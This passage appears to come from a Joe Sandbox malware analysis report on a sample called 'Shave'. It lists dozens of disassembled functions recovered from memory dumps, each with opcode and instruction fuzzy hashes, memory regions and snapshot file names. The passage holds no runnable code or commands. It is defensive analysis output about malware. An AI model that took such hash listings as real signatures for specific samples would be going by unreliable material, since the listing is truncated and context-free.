Opcode Fuzzy Hash: 8d4479e5ead7254de6013cbd5aea1e356991c0307778009d83e629132bf41733
Instruction Fuzzy Hash: 0B81D074E00218CFDB18DFA9D994A9DBBF2BF89305F20816AD419BB394DB346A45CF50

Function 04B35FD8 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B3647D, 04B36497

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: e94d8b20b944c54bd85d3df883dc85350e1a40a7757e45708873aaac63fad345
Instruction ID: de5dac4ba6499cea0d7baf5329653919572d05101edbdf1cda3f0435617ca8d7
Opcode Fuzzy Hash: e94d8b20b944c54bd85d3df883dc85350e1a40a7757e45708873aaac63fad345
Instruction Fuzzy Hash: BBE1B0B4E00218CFDB24DFA9C944B9DBBB2BF89304F2080A9D919B7395DB355A85CF54

Function 04B0E9D8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B0EDCE, 04B0EDE8

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 6c3f7a6df0b627b20856b740f3da395c60e4b150c266e9cd2c785edbdda997d7
Instruction ID: 98ae12da68280a2fd824796ecc288310e7bc6e8b81fbe7d463107bb41a11c732
Opcode Fuzzy Hash: 6c3f7a6df0b627b20856b740f3da395c60e4b150c266e9cd2c785edbdda997d7
Instruction Fuzzy Hash: FFD1B174E00218CFDB54DFA9C994B9DBBB2BF89304F1080A9D908AB355DB359D86CF51

Function 04B08FB0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B093A9, 04B093C3

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: c4c9a38d1dc153fd7b8c4f3c7b2d38a9048454e058a001ecfe7d20b6a5a3b30c
Instruction ID: a249a38ee0a932fafd4a8207ce81a7e3a0923dd0dbc32b11a5b0096fb31bfb3a
Opcode Fuzzy Hash: c4c9a38d1dc153fd7b8c4f3c7b2d38a9048454e058a001ecfe7d20b6a5a3b30c
Instruction Fuzzy Hash: 7CD1B078E00218CFDB54DFA9C984B9DBBB2BF89300F1080A9D909AB365DB355D86CF51

Function 04B5D710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83eff8a69b1018b625c5091655475986e320422bf4cd8934595d2980c9eee90d
Instruction ID: 71d512578b551d7cf946f996365a0c336d793b8a34afcd659228d14f85d0d769
Opcode Fuzzy Hash: 83eff8a69b1018b625c5091655475986e320422bf4cd8934595d2980c9eee90d
Instruction Fuzzy Hash: A0825B74E012298FDB65DF69CD94BDDBBB2BB89300F1481E9984DA7261DB305E85CF40

Function 38319328 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6b8227952e6a3f13509d7f3e0cca056a70470230be5aa2bbb5c2641ff9284cd
Instruction ID: f36645c86007d3fbd21e4ea3426e1a4c00c33fbed35b6cc71daa3b7bdfc67fc5
Opcode Fuzzy Hash: d6b8227952e6a3f13509d7f3e0cca056a70470230be5aa2bbb5c2641ff9284cd
Instruction Fuzzy Hash: 64223F74E01218CFDB18EFA9C884B9DBBB2BF88300F5485A9D809AB355DB359D85CF51

Function 04B07B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3292d20ff45fa11a6cb9cdf995b932a060a41bf3041b4ad3dd7f3a0ca86b2ee
Instruction ID: 700aca3df5503220caec86f6efb6c74169d4aa10125227df354584de1f8e31a3
Opcode Fuzzy Hash: d3292d20ff45fa11a6cb9cdf995b932a060a41bf3041b4ad3dd7f3a0ca86b2ee
Instruction Fuzzy Hash: EDE1C174E01218CFDB24DFA5C984B9DBBB2BF89304F2081A9D809BB395DB755A85CF50

Function 04B36678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b347c85d9b328944b9e0ff9ef865a6844cac7aad153da0df031adabdea29543e
Instruction ID: e05b9c244e7a88de3da6725fd552aeecf3526d01a4a27a5438249897fec7c4e0
Opcode Fuzzy Hash: b347c85d9b328944b9e0ff9ef865a6844cac7aad153da0df031adabdea29543e
Instruction Fuzzy Hash: 7DD19074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF50

Function 04E41CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a69e4a75973d989e1aaff1a4a13a7c39296789173f5569d8f1eb256ea120ef
Instruction ID: b8ba5820caf71b6672ce42b7c18766b6534afe1d233c249d50d148de97368b1e
Opcode Fuzzy Hash: 44a69e4a75973d989e1aaff1a4a13a7c39296789173f5569d8f1eb256ea120ef
Instruction Fuzzy Hash: 32D1A074E00218CFDB54DFA5C984B9DBBB2BF89300F2081A9D509AB355DB359E86CF50

Function 38312968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ceb46945b3eef37f063007d0ab25ce03c7602ae99b8c9f1245470834942dadc
Instruction ID: 295c29c4af68daa6bb0432624c02bbeb0fa85089fc26d39311630af0d2c192f9
Opcode Fuzzy Hash: 2ceb46945b3eef37f063007d0ab25ce03c7602ae99b8c9f1245470834942dadc
Instruction Fuzzy Hash: FEC1B278E05218CFDB54DFA5C944B9DBBB2BF88304F2081A9D809AB365DB359E85CF50

Function 3831D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249c7a25e7cb1ab79775886dda7fb1acf2f6bd3b6511d32cafd3e8f18fac423f
Instruction ID: 471f70c27e88230e2b1a30393d05094738e0ff9edd79cf943f9f45d750eb5c18
Opcode Fuzzy Hash: 249c7a25e7cb1ab79775886dda7fb1acf2f6bd3b6511d32cafd3e8f18fac423f
Instruction Fuzzy Hash: DAC1A274E01218CFDB54DFA5C984B9DBBB2BF89300F1081A9D809AB365DB359E86CF50

Function 3831DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ebdef89295b8ccac234bb69b34a64df24537f587b23300b5467e7cea9c96a98
Instruction ID: 6c351b859865c328b4c1f7e9df1f789d70a53076910dde5e2c4de97dffdd7a11
Opcode Fuzzy Hash: 2ebdef89295b8ccac234bb69b34a64df24537f587b23300b5467e7cea9c96a98
Instruction Fuzzy Hash: 67C1A274E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 379F0D88 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e27f4d4c061b5474b8cfb6f2118583a33de5065d2a8a774c7fdfc40bcc64b3
Instruction ID: afab67b159c0f9ce0ce67af69f8a90f31989b9a8e04757f7bba73163ab412a39
Opcode Fuzzy Hash: f0e27f4d4c061b5474b8cfb6f2118583a33de5065d2a8a774c7fdfc40bcc64b3
Instruction Fuzzy Hash: C4A1A2B5E012188FEB68CF6AC984B9DFBF2BB88305F14C1A9D408A7250DB755A85CF51

Function 379F3008 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdf09e4a09d4bbc7546d7064da18b371e159bc131cf63977f22270adf49f9a7
Instruction ID: 5d5e7afa63083e11b2325b1f292710dbe392ef53dce5bbff0473671aed4475be
Opcode Fuzzy Hash: ebdf09e4a09d4bbc7546d7064da18b371e159bc131cf63977f22270adf49f9a7
Instruction Fuzzy Hash: C1A1B0B5E012288FEB64CF6AC944BDDFBF2BB88305F14C1AAD408A7250DB755A85CF10

Function 379F2238 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076f13be3c9e200b8881691cc00989ef9cf330dbe3ee4fd77b84315b3c83ff34
Instruction ID: 42e8f9b45830bf9fdfd79e4115f671b3debcb55cb521f90a9a3ece8ae37d59a9
Opcode Fuzzy Hash: 076f13be3c9e200b8881691cc00989ef9cf330dbe3ee4fd77b84315b3c83ff34
Instruction Fuzzy Hash: BBA1A1B5E012188FEB68CF6AC944BDDFBF2BB88305F14C1A9D408AB254DB755A85CF11

Function 379F2920 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bc10849615e110e130daae8181be6df445b8243831ce7b7bbebe274b575797
Instruction ID: 30f0b7986ef5222e2ed65476d8fb53a8f3872b80d1753b997aa03ba3c49a3605
Opcode Fuzzy Hash: b2bc10849615e110e130daae8181be6df445b8243831ce7b7bbebe274b575797
Instruction Fuzzy Hash: 52A1C1B4E012188FEB68CF6AC944BDDFBF2BB89305F10C1A9D408AB250DB345A85CF11

Function 379F1B50 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7253d0d1bb5c966ac73ba6e7f5f532f772b38df2f76e3b1e4488723516b53def
Instruction ID: 6f063e3a4eac6d2d0592842eb80e550ecce06203aeaaec27f59789790e7aef9d
Opcode Fuzzy Hash: 7253d0d1bb5c966ac73ba6e7f5f532f772b38df2f76e3b1e4488723516b53def
Instruction Fuzzy Hash: 9DA1B2B4E412188FEB68CF6AC944BDDFBF2AF88305F14C1AAD408A7250DB755A85CF51

Function 38312DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48eba6cbd050229c9d4cf979fdbd7b976ffe5293152abb7cc0132f4dc8fe2fe6
Instruction ID: 63d90ea1b3ae02c2cd1b659f14a064cdba8ede8e03887e54373c34af79134bd7
Opcode Fuzzy Hash: 48eba6cbd050229c9d4cf979fdbd7b976ffe5293152abb7cc0132f4dc8fe2fe6
Instruction Fuzzy Hash: 81A1E274D002088FEB14DFA9C944BDDBBB1FF89314F208269E409AB3A1DB759985CF51

Function 38311E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfbe088a7c8a6686bd963bad68024dd0b14bfb4cc9f9038a3dfd31d80338ae4b
Instruction ID: c19091b8145ff162b5069aff208694c14717e2add80efc4a70deaf2456320f13
Opcode Fuzzy Hash: bfbe088a7c8a6686bd963bad68024dd0b14bfb4cc9f9038a3dfd31d80338ae4b
Instruction Fuzzy Hash: 50A192B5E05218CFEB68DF6AC944BDDFBF2AB88300F14C1AAD408A7254DB345A85CF11

Function 379F1470 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c23aec4563eb1af9dddb1a038018210e6116aabbddf8f2a498b3fea22638490
Instruction ID: 0fab21cc6a1e90f8b1596f3bfc36581ead6feb11bd11a87bfc927b3bc621ec94
Opcode Fuzzy Hash: 9c23aec4563eb1af9dddb1a038018210e6116aabbddf8f2a498b3fea22638490
Instruction Fuzzy Hash: 12A1B1B4E012188FEB68CF6AC944B9DFBF2BF88305F14C1A9D408A7250DB745A85CF51

Function 379F36F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b546ec09d97ed3d076366a12c833ca4daaa61e074ec9b1d2b1d8aa8bf868c6
Instruction ID: dc57b3395dcf63144848cea7ce526dfaca9b2bf73ba303d19f9c97fefd5426ca
Opcode Fuzzy Hash: e4b546ec09d97ed3d076366a12c833ca4daaa61e074ec9b1d2b1d8aa8bf868c6
Instruction Fuzzy Hash: 77A1A1B5E01218CFEB68CF6AC944B9DFBF2AB88305F14C1AAD408A7250DB755A85CF11

Function 383117A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c047c7248d3e64d79223659e32b45bebc2f0c687dbd8dc1802ab1043027f9fd5
Instruction ID: 941cf8ce2866eeae646989e8fe907c189136525bdd94cf24a9047f24782a5f7d
Opcode Fuzzy Hash: c047c7248d3e64d79223659e32b45bebc2f0c687dbd8dc1802ab1043027f9fd5
Instruction Fuzzy Hash: 13A193B5E012198FEB68DF6AC944BDDFBF2BB88300F14D1AAD408A7250DB745A85CF51

Function 38312DC2 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb29da278f9f26503860115a87ba641af4220bcf1952a95901048230bc00187
Instruction ID: 84e5c2a5eaa7459c1cacc778884d583a93f28d0e26012f43d5ed50a51a198e16
Opcode Fuzzy Hash: 1bb29da278f9f26503860115a87ba641af4220bcf1952a95901048230bc00187
Instruction Fuzzy Hash: D8A1D474D002088FEB14DFA9C984BDDBBB1FF89304F208269E409AB3A5DB759985CF51

Function 3831310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab6f4bfe995b29dd4e9947addb94804bb7a0832bc03b8572d1a22526d02dc62
Instruction ID: 5e494fa40d969849b6f6a4960ba7a9a3ee5781d0af49d9441ff58e07f068058b
Opcode Fuzzy Hash: 1ab6f4bfe995b29dd4e9947addb94804bb7a0832bc03b8572d1a22526d02dc62
Instruction Fuzzy Hash: 5191C074D04208CFEB14EFA8C984BDDBBB1BF89314F209669E409AB391DB759985CF11

Function 3831FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099f2542f820e4b121d70817ce27428efda3a9be8271e5c2d6e0bf0e9ea501f1
Instruction ID: 0bd76bc653441cee079d34fc883c7a87a95491b0906b2e9dd371f02b31a04b26
Opcode Fuzzy Hash: 099f2542f820e4b121d70817ce27428efda3a9be8271e5c2d6e0bf0e9ea501f1
Instruction Fuzzy Hash: F381B274E00218CFDB08EFA9D980AEDBBB2BF88700F608129D815BB355DB759946CF54

Function 04B570C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a2984ac16612ff60aac0d99afe626a08fe8d0a95145ac371a24e93cc08867d
Instruction ID: 842c196b43bc37f64c1b8e41b6dd2ecd45317e0609d08db87ee29c28e6bbd727
Opcode Fuzzy Hash: 48a2984ac16612ff60aac0d99afe626a08fe8d0a95145ac371a24e93cc08867d
Instruction Fuzzy Hash: F181B274E00218CFDB18DFA9C984BADBBB2BF88300F208169D815BB365DB359946CF54

Function 04E48470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf80166743ae77fa0833012d82c884be310973446cbfb29601f8fb2ffe74c5dd
Instruction ID: 3dab587ce9c4f8164998282beadb82ac4835489b529821b16675c46b16fc35db
Opcode Fuzzy Hash: bf80166743ae77fa0833012d82c884be310973446cbfb29601f8fb2ffe74c5dd
Instruction Fuzzy Hash: C281C478E00218CFDB18DFA9D994AEDBBB2BF88304F208129D815BB355DB356946CF50

Function 04E4FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: debe244362435f83b4ae5fadcbf67c3bc293f6e331b87438396a392db662e2ac
Instruction ID: e804c1ac8ddf41463d4d517c1722e910bc6fe97869c5783ba41513aa78f100a6
Opcode Fuzzy Hash: debe244362435f83b4ae5fadcbf67c3bc293f6e331b87438396a392db662e2ac
Instruction Fuzzy Hash: 5D81C274E00218CFDB08DFA9D990AEDBBB2BF88700F208129D815BB355DB35A946CF54

Function 379F36E1 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249387c9b8dc972b826fa42825fcce8acf28e0326b03f3f3fb81990d53ff0113
Instruction ID: 26c15c3c7b63fe2f6f7f12d0ec26dd9619f5ece47adff6e3896bac89dc37b5ec
Opcode Fuzzy Hash: 249387c9b8dc972b826fa42825fcce8acf28e0326b03f3f3fb81990d53ff0113
Instruction Fuzzy Hash: 8171A4B5E016198FEB68CF6AC944B9EFBF2BF88304F14C1A9D409A7254DB744A85CF11

Function 379F1460 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ee07db7cf1626fe93721e1cb5c91f7088c0eb4fc9eb0259d3870b5cf914a965
Instruction ID: eff13c7e36b13c48e97cd822d9b2dec238b9257ead4dd1d7f99acddacff5b95b
Opcode Fuzzy Hash: 9ee07db7cf1626fe93721e1cb5c91f7088c0eb4fc9eb0259d3870b5cf914a965
Instruction Fuzzy Hash: 4771B4B5E016198FEB28CF6AC944B9DFBF2BF88304F14C1A9D408A7254DB744A85CF50

Function 3831178F Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78aadb4219213a4d39897d28f43de88bb5bbc908e1f2dd2cf72f42803f7caa76
Instruction ID: 0e2122fe3621e5933eff46eebd7381eb37f136c8d30f45529ca159fe18ebf82d
Opcode Fuzzy Hash: 78aadb4219213a4d39897d28f43de88bb5bbc908e1f2dd2cf72f42803f7caa76
Instruction Fuzzy Hash: 957194B5E016188FEB68DF66C944BDEBBF2AF88300F14C1AAD409A7254DB744A85CF11

Function 0015E97C Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85ac991e0d56ff3d4e355eb980b793af9b06e95f0f2ad4781f3e974de925cd81
Instruction ID: ceb4137e6f4f319b404716eef9ce6f62afe6028d0357204505f7ce4702bd8058
Opcode Fuzzy Hash: 85ac991e0d56ff3d4e355eb980b793af9b06e95f0f2ad4781f3e974de925cd81
Instruction Fuzzy Hash: 7151B674E00208DFDB08DFBAD944A9DBBF6BF89301F248029E815AB365DB345946CF54

Function 0015E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf142b66f74c358b7f015b99e899a9ac60bcdf00870111bbab966242d51cff9
Instruction ID: a06b87aa2f8b03d3517f9cf4b21a63d1637f81fe92e4c4bd88ce72ba3108fe7b
Opcode Fuzzy Hash: bcf142b66f74c358b7f015b99e899a9ac60bcdf00870111bbab966242d51cff9
Instruction Fuzzy Hash: 7551B574E00308DFDB08DFAAD984A9DBBF6BF88300F208029E819AB365DB345945CF54

Function 04B35FC7 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584dd16b12d13cab1a71f031f54bc1f37ceefffe791cce1f01bd769d3b2ae2b7
Instruction ID: fbd07099b2d54815787e6a9294a4c3629791a845d6fe6cab1b8cfecbd82339b9
Opcode Fuzzy Hash: 584dd16b12d13cab1a71f031f54bc1f37ceefffe791cce1f01bd769d3b2ae2b7
Instruction Fuzzy Hash: 6241E2B0D016089BEB28DFAAD8447DDBBF2AF88304F24C169D418BB295DB755946CF50

Function 379F1B3F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 135314b6a4caf8c3d2bae94700573a66600fa35921315f6bdaf6506c97718fd3
Instruction ID: e2d3820718af19375ed6a02201e1720855540cdf1066b685af347445a170c9df
Opcode Fuzzy Hash: 135314b6a4caf8c3d2bae94700573a66600fa35921315f6bdaf6506c97718fd3
Instruction Fuzzy Hash: C44166B1E016198BEB28CF57C8447DEFAF3AFC9204F14C1B9C40CA6264EB744A868F51

Function 04B07B77 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11eaa0e7bc0c96f67030587ba324737b3de7df65ee50703943c2dc2bb9e2a80c
Instruction ID: 4e539e0d6ad98dd35c2077bea7bb064a47faca2c33d85d37f73c592f58df6023
Opcode Fuzzy Hash: 11eaa0e7bc0c96f67030587ba324737b3de7df65ee50703943c2dc2bb9e2a80c
Instruction Fuzzy Hash: F441C2B0D002088BEB18DFAAD8547DDFBF2AF89304F14C16AD418BB290EB755946CF14

Function 379F2911 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8074930cbe9869181f90b6c5f996aa8a5676b764f96df6519c84c9fb2015c02
Instruction ID: 67d775324159f8dec37d123cbe51193560fb67d80be7b563f35d09349636dbdc
Opcode Fuzzy Hash: b8074930cbe9869181f90b6c5f996aa8a5676b764f96df6519c84c9fb2015c02
Instruction Fuzzy Hash: 36417AB1E016198BEB58CF5BC9447DEFAF3AFC8214F14C1A9C40CB6254DB740A868F51

Function 38311E70 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfb0362205a8f061ddb3a82a83511b1ce7ea5454133ba390662b09d12ebf880
Instruction ID: e20c2b856d9e38d31a77d74576ed2322d120e0d635723c5f59e46dae9146de70
